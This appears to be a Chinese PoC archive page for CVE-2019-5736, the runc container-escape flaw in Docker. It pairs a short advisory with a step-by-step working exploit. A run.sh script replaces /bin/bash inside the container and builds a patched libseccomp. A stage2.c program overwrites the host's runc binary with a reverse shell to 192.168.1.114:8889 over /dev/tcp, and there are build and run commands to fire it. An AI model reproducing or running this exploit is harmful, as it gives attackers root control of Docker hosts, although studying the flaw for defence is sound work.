关联漏洞
标题:
Docker 操作系统命令注入漏洞
(CVE-2019-5736)
描述:Docker是美国Docker公司的一款开源的应用容器引擎。该产品支持在Linux系统上创建一个容器(轻量级虚拟机)并部署和运行应用程序,以及通过配置文件实现应用程序的自动化安装、部署和升级。 Docker 18.09.2之前版本和其他产品中的runc 1.0-rc6及之前版本中存在安全漏洞,该漏洞源于程序没有正确地处理文件描述符。攻击者可利用该漏洞覆盖主机runc的二进制文件并以root权限执行命令。
介绍
### CVE-2019-5736
参考:[cve-2019-5736-poc](https://github.com/agppp/cve-2019-5736-poc.git)
- (1). edit poc command in stage2.cve
- (2). build docker `docker build -t cve .`
- (3). run docker `docker run -d cve /bin/bash -c "tail -f /dev/null"`
- (4). backup docker-runc `cp /usr/bin/docker-runc /usr/bin/docker-runc.bak`
- (5). `docker exec -it docker-id /bin/bash`
- (6). edit run.sh libseccomp edition Exp:`cd /root/libseccomp-2.5.1`
- (7). in docker run `cd /root && ./run.sh && exit`
- (8). `docker exec -it docker-id /bin/bash`
### 修改部分
`run.sh`
```shell
#!/bin/bash
# libseccomp版本及时关注容器创建后/root目录下下载的对应版本信息
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
```
### 实操
#### 环境
```
宿主机:Ubuntu18.04
Docker-ce:18.06.1~ce~3-0~ubuntu
docker-runc:1.0
```
#### 环境部署
```shell
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# 如出错,cd /var/lib/dpkg/updates删除目录下的所有文件再执行以上
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
```
#### 修改C文件
`stage2.c`
```C
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
printf("HAX2: argv: %s\n", argv[1]);
int res1 = -1;
int total = 10000;
while(total>0 && res1== -1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
printf("HAX2: fd: %d\n", fd);
const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1 &\n";
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
res1 = res;
total--;
}
}
```
#### 构建镜像
```bash
docker build -t cve-2019-5736 .
```

#### 运行
```bash
docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"
```

#### 备份宿主机`docker-runc`
因后期对系统内`docker-runc`文件进行覆盖操作
```bash
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
```
#### 登录容器
```bash
docker exec -it 655378598a92 /bin/bash
```
#### 容器内执行
```bash
# 备注:及时修改run.sh文件中libseccomp版本信息再执行
cd /root
./run.sh
exit
```
#### 重连容器
```bash
# docker exec -it 655378598a92 /bin/bash
# 此时nc监听会收到一个反弹宿主机的shell
```

文件快照
[4.0K] /data/pocs/1bd76a8b9cd07260edbf7948c3d2e63d43af3893
├── [4.0K] exp
│ ├── [ 369] Dockerfile
│ ├── [ 314] run.sh
│ ├── [ 528] stage1.c
│ └── [ 585] stage2.c
├── [4.0K] images
│ ├── [ 64K] image-20220316153121353.png
│ ├── [230K] image-20220316153150291.png
│ └── [344K] image-20220316160716039.png
└── [3.0K] README.md
2 directories, 8 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。